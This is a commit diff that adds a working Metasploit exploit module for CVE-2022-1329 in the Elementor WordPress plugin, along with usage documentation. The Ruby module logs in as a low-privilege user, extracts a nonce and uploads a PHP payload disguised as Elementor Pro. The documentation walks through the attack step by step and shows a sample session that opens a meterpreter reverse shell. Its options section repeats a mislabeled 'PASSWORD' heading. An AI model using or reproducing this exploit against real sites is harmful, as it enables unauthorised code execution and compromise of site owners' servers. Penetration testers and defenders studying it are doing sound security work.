cve-2022-1329
This commit is contained in:
parent
27f3acd620
commit
c6e18ee469
|
@ -54,3 +54,4 @@ easy-wp-smtp
|
|||
duplicator_download
|
||||
custom-registration-form-builder-with-submission-manager
|
||||
woocommerce-abandoned-cart
|
||||
elementor
|
|
@ -0,0 +1,74 @@
|
|||
## Vulnerable Application
|
||||
|
||||
The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability
|
||||
that allows any authenticated user to upload and execute any PHP file. This is achieved
|
||||
by sending a request to install Elementor Pro from a user supplied zip file.
|
||||
Any user with Subscriber or more permissions is able to execute this.
|
||||
|
||||
Tested against Elementor 3.6.1
|
||||
|
||||
### Plugin
|
||||
|
||||
Can be downloaded from https://wordpress.org/plugins/elementor/advanced/
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
||||
1. Install the plugin, no configuration is required, just hit skip.
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploits/multi/http/wp_plugin_elementor_auth_upload_rce`
|
||||
4. Do: `set username [username]`
|
||||
5. Do: `set password [password]`
|
||||
6. Do: `set rhosts [ip]`
|
||||
7. Do: `run`
|
||||
8. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The username for a user with subscriber or higher privileges
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The username for a user with subscriber or higher privileges
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
### Elementor 3.6.1 on Wordpress 5.7.7 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
resource (elementor.rb)> use exploits/multi/http/wp_plugin_elementor_auth_upload_rce
|
||||
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
|
||||
resource (elementor.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (elementor.rb)> set username user
|
||||
username => user
|
||||
resource (elementor.rb)> set password user
|
||||
password => user
|
||||
resource (elementor.rb)> set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(multi/http/wp_plugin_elementor_auth_upload_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking /wp-content/plugins/elementor/readme.txt
|
||||
[*] Found version 3.6.1 in the plugin
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Looking for nonce
|
||||
[+] Nonce: cfb42a92ae
|
||||
[*] Uploading upgrade payload and activating...
|
||||
[*] Payload file name: elementor-pro.php
|
||||
[*] Sending stage (39927 bytes) to 2.2.2.2
|
||||
[+] Deleted ../wp-content/plugins/elementor-pro
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:33052) at 2022-10-02 15:56:35 -0400
|
||||
[+] Payload Uploaded Successfully
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : wordpress2004
|
||||
OS : Linux wordpress2004 5.4.0-104-generic #118-Ubuntu SMP Wed Mar 2 19:02:41 UTC 2022 x86_64
|
||||
Meterpreter : php/linux
|
||||
```
|
|
@ -0,0 +1,134 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Wordpress Plugin Elementor Authenticated Upload Remote Code Execution',
|
||||
'Description' => %q{
|
||||
The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability
|
||||
that allows any authenticated user to upload and execute any PHP file. This is achieved
|
||||
by sending a request to install Elementor Pro from a user supplied zip file.
|
||||
Any user with Subscriber or more permissions is able to execute this.
|
||||
Tested against Elementor 3.6.1
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Ramuel Gall', # Discovery
|
||||
'AkuCyberSec', # Exploit-db
|
||||
'h00die' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['EDB', '50115'],
|
||||
['CVE', '2022-1329'],
|
||||
['URL', 'https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/'],
|
||||
['URL', 'https://www.youtube.com/watch?v=tIhN1svzAYk'] # great video about the exploit
|
||||
],
|
||||
'Platform' => [ 'php' ],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [
|
||||
[ 'Wordpress Elementor', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2022-03-29',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options [
|
||||
OptString.new('USERNAME', [true, 'Username of a subscriber or higher account', '']),
|
||||
OptString.new('PASSWORD', [true, 'Password of a subscriber or higher account', '']),
|
||||
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
unless wordpress_and_online?
|
||||
return CheckCode::Safe('Server not online or not detected as Wordpress')
|
||||
end
|
||||
|
||||
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
CheckCode::Safe('Invalid credentials given!') unless cookie
|
||||
|
||||
return check_plugin_version_from_readme('elementor', '3.6.3', '3.6.0')
|
||||
end
|
||||
|
||||
def upload_file(nonce, cookie)
|
||||
zip_file = Rex::Zip::Archive.new
|
||||
payload_name = 'elementor-pro.php'
|
||||
print_status("Payload file name: #{payload_name}")
|
||||
# we end up in wp-admin, so we need to get to the right folder
|
||||
register_dirs_for_cleanup('../wp-content/plugins/elementor-pro')
|
||||
# payload must contain a Plugin Name header with the name of the plugin
|
||||
pload = "<?php\n"
|
||||
pload << "/**\n"
|
||||
pload << "* Plugin Name: Elementor Pro\n"
|
||||
pload << "*/\n"
|
||||
pload << payload.encoded.gsub('/*<?php /**/ ', '')
|
||||
pload << "\n?>"
|
||||
zip_file.add_file("/elementor-pro/#{payload_name}", pload)
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part('elementor_upload_and_install_pro', nil, nil, 'form-data; name="action"')
|
||||
post_data.add_part(nonce, nil, nil, 'form-data; name="_nonce"')
|
||||
post_data.add_part(zip_file.pack, 'application/x-zip-compressed', 'binary', 'form-data; name="fileToUpload"; filename="elementor-pro.zip"')
|
||||
|
||||
resp = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
||||
'data' => post_data.to_s,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'cookie' => cookie
|
||||
)
|
||||
# we get a timeout on success
|
||||
if resp.nil?
|
||||
print_good('Payload Uploaded Successfully')
|
||||
return
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
|
||||
end
|
||||
|
||||
def get_nonce(cookie)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'profile.php'),
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
unless res && (res.code == 200)
|
||||
fail_with(Failure::UnexpectedReply, "Could not get the nonce (#{res.code})")
|
||||
end
|
||||
# find the RIGHT nonce, there are many nonces on the page, but we need the admin-ajax one
|
||||
res.body.scan(/admin-ajax.php","nonce":"([a-z0-9]+)"/)[0][0].to_s
|
||||
end
|
||||
|
||||
def exploit
|
||||
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
|
||||
cookie = cookie.gsub('wordpress_test_cookie=WP%20Cookie%20check; ', '')
|
||||
|
||||
print_status('Looking for nonce')
|
||||
nonce = get_nonce(cookie)
|
||||
fail_with(Failure::NoAccess, 'Unable to find nonce') if nonce.nil?
|
||||
print_good("Nonce: #{nonce}")
|
||||
|
||||
print_status('Uploading upgrade payload and activating...')
|
||||
upload_file(nonce, cookie)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue